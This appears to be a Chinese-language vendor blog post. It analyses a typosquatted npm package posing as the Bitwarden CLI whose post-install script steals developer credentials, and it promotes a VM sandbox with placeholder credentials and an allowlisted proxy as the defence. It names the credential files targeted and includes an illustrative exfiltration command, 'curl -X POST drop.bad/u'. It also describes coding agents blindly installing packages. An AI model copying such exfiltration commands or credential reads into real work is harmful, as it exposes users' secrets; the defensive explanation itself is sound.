你的编码智能体装上了那个假 Bitwarden
4 月 22 日,有人往 npm 上传了一个名为 @bitwarden/[email protected] 的恶意包——一个抢注式拼写错误包,会把任何运行它的机器上的 SSH 私钥、AWS/Azure/GCP 凭证、GitHub token、npm 发布 token 和 kubeconfig 一并扫走。它瞄准的目标,恰好是当今编码智能体不假思索就在做的事:npm 返回什么就装什么。本文展示这条攻击链长什么样,以及当智能体跑在 Bromure 虚拟机里、而不是你的笔记本上时,会有什么不同。
上周有人在 npm 上传了一个叫 @bitwarden/[email protected] 的包。
真正的 Bitwarden CLI 没事。假的那个是抢注式拼写错误包,带
着一段 post-install 脚本,会读开发者的 SSH 私钥、AWS 凭证、
npm token 和 kubeconfig,然后把这一束 POST 给某人租来的
IP 段里的服务器。这里头藏着一个笑话——一个名义上的密码
管理器实际工作是偷凭证——但更有用的观察是:在 2026 年,
最有可能去敲 npm install @bitwarden/cli 的,已经不再是
人类开发者了,而是编码智能体——它们装的是 npm 给它们的
任何东西。
好了。先用三句话把消息讲清楚。
2026 年 4 月 22 日,有人在 npm 上以 @bitwarden/[email protected]
的名字发了一个包。根据 Unit 42 的分析,这个包是
抢注式拼写错误包,归属于一个自称 TeamPCP 的小团伙——三周前
Datadog 把它和 LiteLLM 的 PyPI 入侵联系
起来过——它的 post-install 脚本会扫遍宿主机,搜刮 AWS、Azure
和 GCP 凭证、npm 发布 token、GitHub token、SSH 私钥和
kubeconfig,打包好之后发到攻击者的基础设施。OX Security 把
同一事件放进更大的语境里,称之为
Shai-Hulud 的第三次降临——这是一条自我复制的供应链
蠕虫的最新一条记录,自 2025 年 9 月以来已经吃掉了数千个
npm 包,并且看不出有歇下来的意思。
在讨论怎么办之前,先把那个笑话搬开:这个假 Bitwarden CLI 在某种意义上,正是在做一个 Bitwarden CLI应该做的事。 它 的工作就是知道很多凭证。只是这次的凭证不是用户报名要它 管的那批。算了。攻击本身在机制上没有意思。有意思的,也是 让这次事件值得写一篇的,是谁会去装它。
一个没人再敲的包。
想用真 Bitwarden CLI 的人类开发者,通常会去 bitwarden.com/help/cli,看一遍 文档,从一个 TLS 证书链能追溯到熟悉厂商的页面里复制安装 命令,然后敲下来。她也可能敲错——抢注式拼写错误包的整个 前提就是这个——但她得是匆忙、视野不好且运气不佳的状态。
编码智能体既不匆忙、也不视野不好、也不运气不佳。它们
更糟糕:自信地错下去,机器速度。你让 Claude Code 去
"把 Bitwarden 接上,让部署脚本能从保险库里取出 API
key",模型——读过一百万篇写着 npm install -g @bitwarden/cli
的博客的模型——就敲了 npm install -g @bitwarden/cli。包
管理器返回了某个叫 @bitwarden/cli 的包。没人在循环里
查 publisher 字段。没有 bitwarden.com 证书链可以检查,因为
npm 就是证书链。事实上,智能体没有任何理由不去运行包
里附带的 post-install 脚本——npm 包本来就是这么用的。
这张图里要注意的是,链条里没有一处算 bug。npm 包本来就允许
携带 postinstall 脚本。这些脚本和调用 npm 的用户拥有
相同的权限。一段以用户身份运行的脚本能读到用户能读到的一切。
那就包括——而这正是当智能体在敲键盘时会变成问题的部分——
~/.ssh/id_ed25519、~/.aws/credentials、~/.npmrc 里那个
能让你重新发布别的包的 npm 发布 token、坐在你 shell 里的
GitHub token、还有那个让你能往生产 kubectl exec 的
kubeconfig。你不是为了智能体把这些东西放在那儿的,是为了
你自己。 智能体现在借你的手在用。
如果是 2018 年我向你推销同样的问题,到这儿我会说"所以你应 该用沙箱"。你也会理直气壮地说"沙箱我听过"。然后我们俩就一 起去喝咖啡了。我之所以在 2026 年还要写这篇文章,是因为那个 真正能把 @bitwarden/cli 这种场景变成无关痛痒的非事件的 沙箱,和过去十年提出的那种沙箱,长得有点不一样——而这个不 一样恰好就是关键所在。
真正的修复长这样。
假设这套东西不在你 Mac 上跑,编码智能体跑在一台 Linux 虚拟
机里,而这台虚拟机只共享你指给它看的那个项目文件夹。再
假设这台虚拟机的 ~/.aws/credentials 是个占位——一个语法上
合法、但什么真东西都没有的 AWS 凭证文件——~/.npmrc、
$GH_TOKEN 和其余一切同理。再假设虚拟机里压根就没有
~/.ssh/id_ed25519,只有一个被转发进去的 ssh-agent socket,
真正的私钥在边界宿主侧的 macOS 钥匙串里。最后假设宿主侧有
一个小代理,能在线路上识别那些占位 token,然后把它们替换成
真的——但只在白名单端点上替换,且只在请求真的离开虚拟机管理
程序的那一刻替换。
现在让 @bitwarden/cli 的 post-install 脚本在这台虚拟机里
跑。它做的事情和之前完全一样。读 ~/.aws/credentials。读
~/.npmrc。读 $GH_TOKEN。它甚至会读 ssh-agent socket
文件本身的内容——而那是一个 Unix 域 socket,长度是零字节。
它把这些东西打包,用硬编码的 RSA-4096 密钥加密,然后 POST
到它的 drop 服务器上。
drop 服务器会收到一个加密学上完全规范的占位符大礼包。
图里有几处微妙的地方值得放慢看,因为这正是这个设计和容器的 区别。
第一是这个代理是出向的、白名单制的、在线路上。它不是
虚拟机里的 sidecar。虚拟机从来没有在任何可触达的形式上拿到
真正的 GitHub token。没有可以 dump 的环境变量,没有可以读取
的文件,没有可以 scrape 的内存页。智能体执行 git push 时,
请求带着 Authorization 头里的占位离开虚拟机;宿主上的代理
识别这个占位,把你的真 ghp_… 换进去,转发请求,再把响应
转发回来。当恶意软件执行 curl -X POST drop.bad/u,代理去
查 drop.bad,在白名单里查不到,它要么把这条请求扔了,要么
——视虚拟机的出口策略而定——原样转发,里面塞着恶意软件抓到
的那个占位。无论哪种方式,在恶意软件唯一在看的那一刻,真正
的凭证都在边界的另一边。
第二是 SSH 私钥在任何意义上都不在虚拟机里。ssh-agent 跑在
macOS 上。它的私钥住在 macOS 钥匙串里。Bromure 把 agent 的
socket 转发——和 OpenSSH 自 90 年代起一直在做的方式一样,原
因也一样——进虚拟机。在虚拟机里,ssh 和 git 该怎么用还
怎么用;底层的签名操作发生在宿主侧,虚拟机里跑的恶意软件看
不到。一个 cat ~/.ssh/id_ed25519 的包会得到
No such file or directory,然后回家。
为什么容器到不了这一步。
听我说。这时候的一个反对意见——而且很合理——是:"好啊,但 Docker 我们用了十年了,可以把智能体跑在一个容器里啊,这不 就够了吗?" 本来够的,除了两个无聊的原因。
第一个是,要让一个容器对编码智能体真正在做的那些事——
git push、gh pr create、aws s3 cp、npm publish、
kubectl exec——有用,你最后总会把 ~/.ssh、
~/.aws/credentials、~/.npmrc 和你的 GitHub token 挂进
容器里。这时候,post-install 脚本就 cat ~/.ssh/id_ed25519
拿到真文件了。容器没有凭证代理;它有的是 bind mount。bind
mount 正好是恶意软件正在找的那块软腹。
第二个是,在 macOS 上,那个容器无论如何也是跑在一个隐藏的 Linux 虚拟机里。Docker Desktop 自带一个;OrbStack 自带一 个;Colima 自带一个。虚拟机的成本——磁盘、内存、启动时 间——你已经在付了。在 macOS 上,2026 年用容器的理由不是"它 更轻",只是"我习惯了"。Bromure 把中间这层切掉。只有一个 虚拟机。它是可见的、可配置的、属于你的。凭证代理和 ssh-agent 转发,是容器模式从来没讲清楚过的那两块。
trace 抓到的、那段你本来不会读的东西。
关于一个智能体装了没人要它装的东西,还有一件事值得说:很多
时候没人发现。智能体跑了 npm install,智能体拿回一墙输
出,智能体在 chat 里把"我装好了 Bitwarden CLI 并配置好了"
浓缩成一句话,你就翻过去了。post-install 脚本就是在那一墙
输出中间跑的。你没读那墙输出。没人读那墙输出。
Bromure 的会话 tracer 把那墙输出抓住了——每一个 prompt、
每一次工具调用、每一条 shell 命令、每一次文件写入、每一个
退出码——而且让你在会话结束之后还能往回滚去看。"找出智能体
今天跑过的每一条 npm install" 是一个 grep。"智能体跑没
跑过任何在项目文件夹之外写文件的工具" 是一个 grep。下一个
@bitwarden/[email protected] 出现的时候——它一定会出现——trace
告诉你哪些会话碰过它、当时挂载了哪些项目文件夹。你不用从
记忆里、或者从一段不完整的滚动回放里去重建。会话本身就是
审计日志。
它能抓到的
一个在 Bromure 虚拟机里安装 @bitwarden/cli(或 litellm、
axios,或下一个)的编码智能体,去扫凭证时,找到的是一个
空的 SSH 目录和一串占位钥匙。post-install 脚本跑了。外传
POST 出去了。打包出去的是占位。爆炸半径止于这台虚拟机。
重置让什么变成非事件
如果恶意软件除了偷凭证还干了别的——crontab 里的持久化、
被下毒的 ~/.bashrc、宾客里 launchd 的等价物——这些东西
没有一个能熬过下一次 bromure reset。你不需要找出那些
持久化;你只需要把它扔掉。三秒钟,新内核,继续写代码。
它抓不到的
一个调用了你已经放进白名单的真后端的包——比如说一个用你
真正的 GitHub token 去删除你自己仓库的包——会在线路
上拿到真 token,按设计如此,因为 git push 就是这么工
作的。防御靠的是一份小小的出口白名单和一份会话 trace,
不是无所不知。落到项目文件夹里的损害还是会落到项目文件
夹里。
还得人来做的
Bromure 没办法阻止一个编码智能体被劝着提交了坏代码。边界 保护的是你机器上的凭证;它不审 diff。读 diff。trace 让你 知道该读哪些 diff 这件事更容易。
最后一件事。
这个故事还有一个版本,里面的教训会是"审计你的依赖"。再有 另一个版本,教训会是"别再用 npm 了"。两种版本都存在,两种 都有部分道理,并且这个季度在你团队里都不会发生。
这个季度在你团队里真的会发生的版本是:智能体会装上一个不 该装的东西,因为智能体装了很多东西,它装的那条长尾里某处会 有一个,是上周三某个自称 TeamPCP 或 Shai-Hulud、或下一拨自 称什么的人传上去的。问题就只是:发生时,post-install 脚本 找到的是秘密——还是一堵墙。
Bromure Agentic Coding 就是那堵墙。它还 是免费的、开源的,今天就发了。该你出招了。